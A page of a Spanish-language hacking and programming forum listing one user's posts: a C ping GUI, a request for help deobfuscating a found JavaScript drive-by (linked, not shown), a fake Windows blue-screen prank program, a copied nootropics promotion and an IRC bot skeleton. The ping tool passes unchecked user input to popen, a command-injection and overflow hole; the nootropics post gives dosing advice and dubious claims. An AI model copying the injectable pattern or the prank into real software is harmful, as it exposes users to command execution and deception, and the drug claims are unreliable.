  93.            static HFONT hFont = CreateFont(14, 0, 0, 0, 100, 0, 0, 0,0, 0, 0, 0, VARIABLE_PITCH | FF_SWISS, "Helv");
  94.            static HWND texto = CreateWindowEx(0,"STATIC", "Inserte la ip:", WS_CHILD|WS_VISIBLE, 0, 0, 90, 25, hwnd, 0, miinstance, NULL);
  95.            static HWND campo = CreateWindowEx(0,"EDIT", "", WS_CHILD|WS_VISIBLE, 0, 45, 105, 12, hwnd, 0, miinstance, NULL);
  96.            static HWND boton = CreateWindowEx(NULL,"BUTTON","hacer ping",WS_CHILD|WS_VISIBLE|WS_TABSTOP,110,42,100,20,hwnd,0,miinstance,NULL);
  97.            static HWND text2 = CreateWindowEx(0,"STATIC", "Salida del comando:", WS_CHILD|WS_VISIBLE, 250, 0, 130, 25, hwnd, 0, miinstance, NULL);
  98.            static HWND text3 = CreateWindowEx(0,"STATIC", " ", WS_CHILD|WS_VISIBLE, 250, 30, 230, 225, hwnd, 0, miinstance, NULL);
  99.            SendMessage(texto,WM_SETFONT,(WPARAM)hFont,true);
  100.            SendMessage(boton,WM_SETFONT,(WPARAM)hFont,true);
  101.            SendMessage(campo, WM_SETFONT, (WPARAM) hFont, true);
  102.            SendMessage(text2, WM_SETFONT, (WPARAM) hFont, true);
  103.            SendMessage(text3, WM_SETFONT, (WPARAM) hFont, true);
  104.            break;
  105.        case WM_COMMAND:
  106.         switch(LOWORD(wParam))
  107.            {
  108.                case MN_MENSAJE:
  109.                MessageBox(hwnd,"codeado por daryo","creditos",MB_OK);
  110.                break;
  111.            }
  112.         if((HWND)lParam==boton)
  113.         {
  114.            FILE *in;
  115.            char ip[100];
  116.            char ping[200]="ping ";
  117.            char n[700];
  118.            char string[700]=" ";
  119.            GetWindowText(campo, ip, 255);
  120.            strcat(ping,ip);
  121.            in=popen(ping,"r");
  122.            while ( fgets(n, 700, in) != NULL )
  123.            {
  124.              strcat(string,n);
  125.            }
  126.             SendMessage(text3, WM_SETTEXT, false, (long int) string);
  127.  
  128.         }
  129.            break;
  130.        case WM_DESTROY:
  131.            PostQuitMessage (0);       /* send a WM_QUIT to the message queue */
  132.            break;
  133.        default:                      /* for messages that we don't deal with */
  134.            return DefWindowProc (hwnd, message, wParam, lParam);
  135.    }
  136.  
  137.    return 0;
  138. }
  139.  
86  Seguridad Informática / Nivel Web / malware ofuscado javascript en: 1 Julio 2013, 22:02 pm
encontre un java drive by en una pagina que desaparece y aparece a ciertas horas el codigo del iframe donde trae el malware es este:
alguien me puede ayudar desofuscando el codigo gracias :)
http://pastebin.com/Ybj9iix1

PD:  es mala idea ponerlo como html y abrirlo si tienes java en el navegador
87  Foros Generales / Foro Libre / Drogas nootrópicas: ¡Dispara tu intelecto! en: 30 Junio 2013, 16:34 pm
Drogas nootrópicas: ¡Dispara tu intelecto!
Citar

(De http://www.burningecstasy.com/2012/11/transhumanismo-y-drogas-nootropicas.html )

Quizá no estén al tanto, pero hay también un "gym" para el cerebro. Existen sustancias para el ejercitar la mente que son totalmente legales y probadas clínicamente Reciben el nombre de "drogas nootrópicas". En verano estuve un mes y medio probando con tres de estas y debo decir que funcionan, de hecho retomaré su consumo en breve. Combinadas incluso con café (cafeína) los resultados son sorprendentes, pudiendo estudiar durante largas horas sin ningún tipo de fatiga. Mi creatividad se disparó, nunca había escrito poesía con tanta facilidad e inspiración como en el transcurso de ese mes y medio. Las asociaciones parecen funcionar mejor y las "respuestas" llegan como un flash. Mis profesores estuvieron sorprendidos con mi velocidad de aprendizaje y concentración, luego les conté acerca de mis nuevos aliados.

Puedes hacer todo esto tú también.

Voy a presentar el siguiente régimen de nootrópicos, tanto los que tomé, como las que voy a tomar para complementar las diferentes funciones entre estas. Desarrollo esto más abajo, mantente leyendo.


Lo primero es esbozar su funcionamiento. Los efectos de estos suplementos son sinergísticos, es decir, cada uno de ellos tiene diferentes mecanismos y funciones; diferentes acciones interrelacionadas. Si tomásemos nootrópicos de manera aleatoria no nos darán el efecto sinergístico mencionado y los efectos serán prácticamente nulos. Así que por ejemplo: tenemos la acetilcolina que es el neurotransmisor primario relacionado con el procesamiento de información. Hay multitud de suplementos que incrementan la producción de acetilcolina, entre ellos la CDPColina, alfaGPC, DMAE, centropenoxina y Acetil L Carnitina.


De la misma manera, hay nootrópicos tales como el alcaoloide huperzina-A que inihiben la acetilcolinesterasa Inihibir la acetilcolinesterasa tiene el mismo efecto que que producir más acetilcolina. Por lo tanto, existen multitud de suplementos cuyo único fin es aumentar la cantidad de acetilcolina o inhibir la acetilcolinesterasa. Si mezclas varios de estos suplementos de manera aleatoria, como podrás observar, puede ser contraproducente y no se obtendrá el efecto sinergístico deseado. Dicha sinergia entre estos suplementos, insisto, es muy importante a tener en cuenta a la hora de seguir un régimen de nootrópicos.

Es importante tener en cuenta que sus efectos son acumulativos. La cafeína o las anfetaminas te petan el cerebro a lo largo del tiempo. Son soluciones a corto plazo que dan un "subidón" a tu cerebro durante un determinado periodo de tiempo para después dejarlo "normal" o con una bajona. Los suplementos (nootrópicos) mejoran la estructura y funciones del cerebro, es decir, funcionan a largo plazo. Dichos suplementos no son tóxicos (o tienen niveles de toxicidad muy bajos) y pueden usarse de manera frecuente.

Si estás comenzando mi consejo es probar estos suplementos: Piracetam, CDP colina y Sulbutiamina ó Piridoxina.


El Piracetam es el padrino de los nootrópicos. Cuando fue descubierto impresionó a los investigadores por tener niveles de toxicidad nulos y también aumentar las habilidades mentales de adultos normales sin ningún tipo de anomalía cerebral. El Piracetam (con un millar de estudios en su cinturón) ha demostrado incrementar diferentes áreas de inteligencia. Sus efectos son acumulativos (insisto otra vez) Esta página es una buena fuente te información. http://smartdrugsforthought.com/what-is-piracetam

Es recomendable tomar una fuente de colina con el Piracetam. Yo recomiendo la CDPcolina (yo compro la marca "Somazina"). El Piracetam necesita una fuente de colina ya que la acetilcolina es el neurotransmisor primario relacionado con el procesamiento de información.

La sulbutiamina, entre otras funciones, previene la fatiga mental. Puedes seguir estudiando después de una jornada normal tan fresco como una lechuga. La barrera sanguínea (hematoencefálica) es un "peaje" que cualquier nutriente debe cruzar para poder ser usada por el cerebro. La Sulbutiamina es una versión sintetizada de la tiamina que cruza dicha barrera sanguínea mejor que la tiamina regular. Tras cruzar la barrera sanguínea es rota en pequeñas partes de tiamina "normal". Es, en esencia, una fuente de tiamina específica del cerebro. La tiamina tiene un rol importantísimo en las actividades del desarrollo mental.

A partir de ahora también tomaré estos suplementos: Picamilon, Aniracetam, Melena de León, aceite de pescado, fosphatidylSerina y Bacopa. Como dijo Jack el Destripador, vayamos por partes:

El Picamilon es una droga de diseño. Los neutrotransmiroes GABA reducen el excitamiento nervioso. Sin embargo, tomar GABA oralmente no tienen ningún efecto porque no puede cruzar la barrera sanguínea cerebral. El Picamilon es una síntesis de la niacina (vitamina B3) y GABA que fue diseñada para cruzar la barrera sanguínea cerebral. Tras cruzar la barrera el pigamilion se rompe en niacina y GABA.


Estas tres chicas (vitaminas B) son pura poesía química. La sulbutiamina se rompe en dos partes de tiamina
(B1) tras cruzar la barrea sanguínea cerebral. El picamilon es roto en niacin (B3) y GABA tras cruzas la barrera hematoencefálica. El pyritinol es una versión mejorada de la B6. La combinación específica de las vitaminas B1, B3, B6 es mejor que ellas mismas puestas de manera individual. Son altamente sinergísticas entre ellas. Los Ángeles de Charlie, vaya.

El Aniracetam (familia de las "-racetam") es un derivado del Piracetam. Es mucho más potente que el Piracetam y tiene diferentes tipos de efectos. Tiene efectos sinergísticos con el
Piracetam. Tomo diariamente una dosis de 4000mg (vienen de 800mg las píldoras que compro) y la combinaré con
750 mg de Aniracetam. El aniracetam es un suplemento que recomiendo encarecidamente que busques por ti mismo
información, ya que nunca lo he tomado y ha sido sometido a menos estudios que el Piracetam. De hecho, es importante que toda la información que estás leyendo la contrastes y busques por tu cuenta, a fin de esclarecer lo que hace cada sustancia adecuadamente. Cualquier suplemento de la la familia "-racetam" no tiene toxicidad, tiene efectos acumulativos y mejora la estructura cerebral.

La melena de león es un hongo que ha sido usado por siglos en el este para mejorar el sistema nervioso. Recientemente se descubrió que esto se debe a que la melena de león incrementa el Factor de Crecimiento Nervioso ("NGF" de las siglas inglesas “nerve growth factor”) es responsable de determinar el ratio en el cual las nuevas células cerebrales se producen. Se ganó un madafaka premio nobel por este descubrimiento porque no se conoce ninguna otra sustancia que pueda cruzar la barrera sanguínea cerebral y estimular la producción de NGF. Se han realizado estudios en el que la melena de león ha sido eficaz en casos con demencia para la mejora de la Medida de Independencia Funcional (FIM) valorando no solo el daño cerebral sino también las alteraciones cognitivas y psicosociales.

La fosfatidylcolina es sintentizada de la udiridina, colina y DHA. El aceite de pescado tiene dos omega-3 ácidos grasos: EPA y DHA

La CDPcolina se rompe y se convierte en uridina y colina. De esta manera, la fosphatidylcolina puede ser producida mediante la supelmentación de CDPcolina y aceite de pescado. Ambas, fosphatydlcolina y fosphatidylserina son los componentes esenciales de cada cúelula-membrana. Incrementar los niveles tanto de fosphatidylcolina como de fosphatidylserina mejora cualquier cuestión relacionada con la actividad mental.

La Bacopa es un suplemento herbal usado durante mucho tiempo en la India para mejorar la memoria. Tiene químicos únicos que poseen mecanismos de acción diferentes de cada otro suplemento en esta lista que muestro. Incluso de manera independiente tiene efectos potentes en la memoria. Repara, de hecho, antiguas neuronas dañadas y dendritos. Un efecto secundario interesante es que es efectivo para reducir la ansiedad ( se prescribe como medicamento anti-ansiedad, de hecho).

Por último: el ejercicio es crucial para una sinergia adecuada en el cerebro mediante los nootrópicos. El ejercicio te da un mayor nivel de función cognitiva de manera natural. De la misma manera, hay una enorme cantidad de estudios que han demostrado que la meditación mejora y genera nuevas sinapsis neuronales, es decir, te hace más listo.

Es un buen resumen de los nootrópicos más notorios. Tomar esta lista te costará unos 100 euros mensuales (ten que los principales son Piracetam, Colina y Subutiamina). Créeme, no sabes todo lo listo que puedes ser.

Recuerda, haz tu propia búsqueda, contrasta la información y prueba por ti mismo los diferentes efectos. Hazlo con paciencia y con cariño para contigo. Buena suerte.
_________________
http://www.burningecstasy.com/
fuente: http://www.13t.org/decondicionamiento/forum/viewtopic.php?t=2538
88  Programación / Programación C/C++ / [c][aporte]simulacion pantallazo azul de windows BSOD en: 29 Junio 2013, 18:57 pm
hice este programa hace tiempo pero no lo habia posteado aca  ;D

Código
  1. #include <windows.h>
  2. //#include <winable.h>
  3. HINSTANCE miinstance;
  4. // int bloqueo=0;
  5.  
  6. /*  Declare Windows procedure  */
  7. LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
  8.  
  9.  
  10.  
  11. /*  Make the class name into a global variable  */
  12. char szClassName[ ] = "WindowsApp";
  13.  
  14. int WINAPI WinMain (HINSTANCE hThisInstance,
  15.                    HINSTANCE hPrevInstance,
  16.                    LPSTR lpszArgument,
  17.                    int nFunsterStil)
  18.  
  19. {
  20.  
  21.    HWND hwnd;               /* This is the handle for our window */
  22.    MSG messages;            /* Here messages to the application are saved */
  23.    WNDCLASSEX wincl;        /* Data structure for the windowclass */
  24.    miinstance=hThisInstance;
  25.  
  26.    /* The Window structure */
  27.    wincl.hInstance = hThisInstance;
  28.    wincl.lpszClassName = szClassName;
  29.    wincl.lpfnWndProc = WindowProcedure;      /* This function is called by windows */
  30.    wincl.style = CS_DBLCLKS;                 /* Catch double-clicks */
  31.    wincl.cbSize = sizeof (WNDCLASSEX);
  32.  
  33.    /* Use default icon and mouse-pointer */
  34.    wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
  35.    wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
  36.    wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
  37.    wincl.lpszMenuName = NULL;                 /* No menu */
  38.    wincl.cbClsExtra = 0;                      /* No extra bytes after the window class */
  39.    wincl.cbWndExtra = 0;                      /* structure or the window instance */
  40.    /* Use Windows's default color as the background of the window */
  41.    wincl.hbrBackground = CreateSolidBrush( RGB(0x00, 0x00, 0xFF) );
  42.  
  43.    /* Register the window class, and if it fails quit the program */
  44.    if (!RegisterClassEx (&wincl))
  45.        return 0;
  46.  
  47.    /* The class is registered, let's create the program*/
  48.    hwnd = CreateWindowEx (
  49.           0,                   /* Extended possibilites for variation */
  50.           szClassName,         /* Classname */
  51.           "Windows App",       /* Title Text */
  52.           WS_POPUP, /* default window */
  53.           CW_USEDEFAULT,       /* Windows decides the position */
  54.           CW_USEDEFAULT,       /* where the window ends up on the screen */
  55.           544,                 /* The programs width */
  56.           375,                 /* and height in pixels */
  57.           HWND_DESKTOP,        /* The window is a child-window to desktop */
  58.           NULL,                /* No menu */
  59.           hThisInstance,       /* Program Instance handler */
  60.           NULL                 /* No Window Creation data */
  61.           );
  62.  
  63.    /* Make the window visible on the screen */
  64.    ShowWindow(hwnd, SW_SHOWMAXIMIZED);
  65.    ShowCursor(FALSE);
  66.  
  67.    /* Run the message loop. It will run until GetMessage() returns 0 */
  68.    while (GetMessage (&messages, NULL, 0, 0))
  69.    {
  70.        /* Translate virtual-key messages into character messages */
  71.        TranslateMessage(&messages);
  72.        /* Send message to WindowProcedure */
  73.        DispatchMessage(&messages);
  74.    }
  75.  
  76.    /* The program return-value is 0 - The value that PostQuitMessage() gave */
  77.    return messages.wParam;
  78. }
  79.  
  80.  
  81. /*  This function is called by the Windows function DispatchMessage()  */
  82.  
  83.  
  84. HWND label;
  85. LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
  86. {
  87.    switch (message)                  /* handle the messages */
  88.    {
  89.        case WM_CREATE:
  90. //             if (bloqueo==0){
  91. //               BlockInput(true);
  92. //               bloqueo=1;
  93. //             }
  94.             static HBRUSH pincel=CreateSolidBrush(RGB(192,192,192));
  95.             static HBRUSH pincel2=CreateSolidBrush(RGB(0,0,255));
  96.             static HWND etiqueta = CreateWindowEx(0,"STATIC", "   WINDOWS", WS_CHILD|WS_VISIBLE, 600, 150, 100, 18, hwnd, 0, miinstance, NULL);
  97.             static HWND etiqueta2 = CreateWindowEx(0,"STATIC", "Se ha encontrado un problema y windows ha sido apagado para evitar daños al equipo.\n MACHINE_CHECK_EXCEPTION\nSi esta es la primera vez que se ve esta pantalla de error de detención, reinicie su equipo. Si esta pantalla aparece otra vez, siga los siguientes pasos:\nComprueba que cualquier hardware o software esta correctamente instalado, si es una nueva instalación, contacte con su proveedor de hardware o software para obtener actualizaciones de windows que pueda necesitar.\n", WS_CHILD|WS_VISIBLE, 250, 200, 600, 408, hwnd, 0, miinstance, NULL);
  98.             static HWND etiqueta3 = CreateWindowEx(0,"STATIC", " *** STOP: 0x0000009C (0X00000004, 0X8054D570,0B2000000,0X00070F0F)", WS_CHILD|WS_VISIBLE,550,500,600,408, hwnd, 0, miinstance, NULL);
  99.  
  100.             break;
  101.        case WM_CTLCOLORSTATIC:
  102.        if(lParam==(LPARAM)etiqueta){
  103.            SetBkColor((HDC)wParam, RGB(192,192,192));
  104.            SetTextColor((HDC)wParam, RGB(0,0,255));
  105.            return (LRESULT)pincel;
  106.            }
  107.        if(lParam==(LPARAM)etiqueta2 || lParam==(LPARAM)etiqueta3){
  108.            SetBkColor((HDC)wParam, RGB(0,0,255));
  109.            SetTextColor((HDC)wParam, RGB(255,255,255));
  110.            return (LRESULT)pincel2;
  111.            }
  112.            break;
  113.        case WM_DESTROY:
  114.            PostQuitMessage (0);       /* send a WM_QUIT to the message queue */
  115.            break;
  116.        default:                      /* for messages that we don't deal with */
  117.            return DefWindowProc (hwnd, message, wParam, lParam);
  118.    }
  119.  
  120.    return 0;
  121. }
  122.  
  123.  
89  Foros Generales / Foro Libre / promocionar canal irc en: 24 Junio 2013, 19:56 pm
si se habran dado cuenta tengo en la firma un enlace al chat quienes quieran ponerselo aca lo dejo


http://pastebin.com/ZacchPJ3


saludos :)
90  Programación / Programación C/C++ / [c][aporte]esqueleto bot irc en: 21 Junio 2013, 23:30 pm
a pesar de lo simple del programa me costo bastante hacerlo estaba muy acostumbrado a las expresiones regulares de lenguajes  como python  no hace nada como dije un esqueleto donde  es muy facil usar los datos y hacer que el bot haga lo que uno quiera
seguramente se pueden mejorar muchas cosas  pero de esta forma funciona  :)

Código
  1. #include <winsock2.h>
  2. #include <windows.h>
  3. #include <cstring>
  4. #include <cstdio>
  5.  
  6. void comandos(char *usuario,char *cmand, char *sala,char *mensaje)
  7. {
  8. printf("Usuario: %s\n",usuario);
  9. printf("Comando irc: %s\n",cmand);
  10. printf("sala: %s\n",sala);
  11. printf("mensaje: %s\n",mensaje);
  12. //char comando[130]="PRIVMSG #botslols :Soy un inutil bot en c :(\r\n";
  13. //send(sock,comando,strlen(comandos),0);
  14. }
  15.  
  16.  
  17. int main()
  18. {
  19. SetConsoleTitle("irc bot");
  20.    WSADATA wsa;
  21.    SOCKET sock;
  22.    int conex;
  23.    int len;
  24.    char Buffer[1024];
  25.    //
  26.    char peticion1[]="NICK BOTpurakerdal\r\n"; // nombre del bot
  27.    char peticion2[]="USER BOTpurakerdal 1 1 1\r\n"; //nombre completo
  28.    char peticion3[]="JOIN #botslols\r\n";   //sala
  29.    int enviado=0;
  30.  
  31.    char pong[130]="PONG :";
  32.    char ping[130]={0};
  33.    struct hostent *host;
  34.    struct sockaddr_in direc;
  35.    WSAStartup(MAKEWORD(2,0),&wsa);
  36.    host=gethostbyname("chat.freenode.net");
  37.    sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  38.    if (sock==-1)
  39.   {
  40.      printf("Error al crear el socket");
  41.      return -1;
  42.   }
  43.    direc.sin_family=AF_INET;
  44.    direc.sin_port=htons(6667);
  45.    direc.sin_addr = *((struct in_addr *)host->h_addr);
  46.    memset(direc.sin_zero,0,8);
  47.    conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
  48.    if(conex==-1)
  49.    {
  50.        printf("error\n");
  51.        return -1;
  52.    }
  53.    printf("[+]conexion establecida\n");
  54.    enviado=send(sock, peticion1,strlen(peticion1), 0);
  55.    printf("[+]nick registrado\n");
  56.    enviado=send(sock, peticion2,strlen(peticion2), 0);
  57.    enviado=send(sock, peticion3,strlen(peticion3), 0);
  58.    printf("[+]entrando a la sala\n-\n");
  59.    int final3;
  60.    int ciclo2;
  61. //-------------------------------
  62.    char cadenita[500];
  63.    char cadenita2[500];
  64.    char usuario[500];
  65.    char sala[500];
  66.    char cmand[500];
  67.    char mensaje[500];
  68. //--------------------------
  69.    char *star;
  70.  
  71.    //------------------
  72.    int ciclo;
  73.    while (len!=-1 && strcmp(Buffer,"salir")!=0)
  74.    {
  75.        fflush(stdout);
  76.        len = recv(sock, Buffer, sizeof(Buffer), 0);
  77.  
  78.  
  79. //enviar el pong que es la respuesta al ping de irc
  80.       for(int ewe=0;ewe != len;ewe++)
  81.       {
  82.        if((Buffer[ewe]=='P')&&(Buffer[ewe+1]=='I')&&(Buffer[ewe+2]=='N')&&(Buffer[ewe+3]=='G'))
  83.        {
  84.            memcpy(ping,Buffer+ewe+6,10);
  85.            memcpy(pong+6,ping,10);
  86.            memcpy(pong+16,"\r\n",strlen("\r\n"));
  87.            send(sock,pong,strlen(pong),0);
  88.  
  89.        }
  90.       }
  91.  
  92. //---------------------------------------
  93.       if(Buffer[0]==':') // si comienza en : es un comando
  94.       {
  95.  
  96.  
  97.       for(ciclo=0;(ciclo<500)&&(Buffer[ciclo]!='\r');ciclo++)
  98.       {
  99.         cadenita[ciclo]=Buffer[ciclo];
  100.       }
  101.       //le quitamos la basura al buffer
  102.        strcpy(cadenita2,cadenita); //necesito la cadena completa strtok la parte
  103.        star=strtok(cadenita," "); // parto la cadena la primera palabra es el user
  104.        strcpy(usuario,star); // pongo el user en la variable usuario
  105.        star=strtok(NULL," "); // tomo la siguente palabra
  106.        strcpy(cmand,star); // tomo el comando de irc
  107.        star=strtok(NULL," ");
  108.        strcpy(sala,star); // esta es la sala
  109.        memcpy(mensaje,(cadenita2+strlen(usuario)+strlen(cmand)+strlen(sala)+4),500); // es decir todo lo anterior a el mensaje no se copia eso mas 3 espacios mas este caracter : es decir 4
  110.        comandos(usuario,cmand,sala,mensaje);
  111. }
  112. }
  113.    return 0;
  114. }
Páginas: 1 2 3 4 5 6 7 8 [9] 10 11 12 13
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines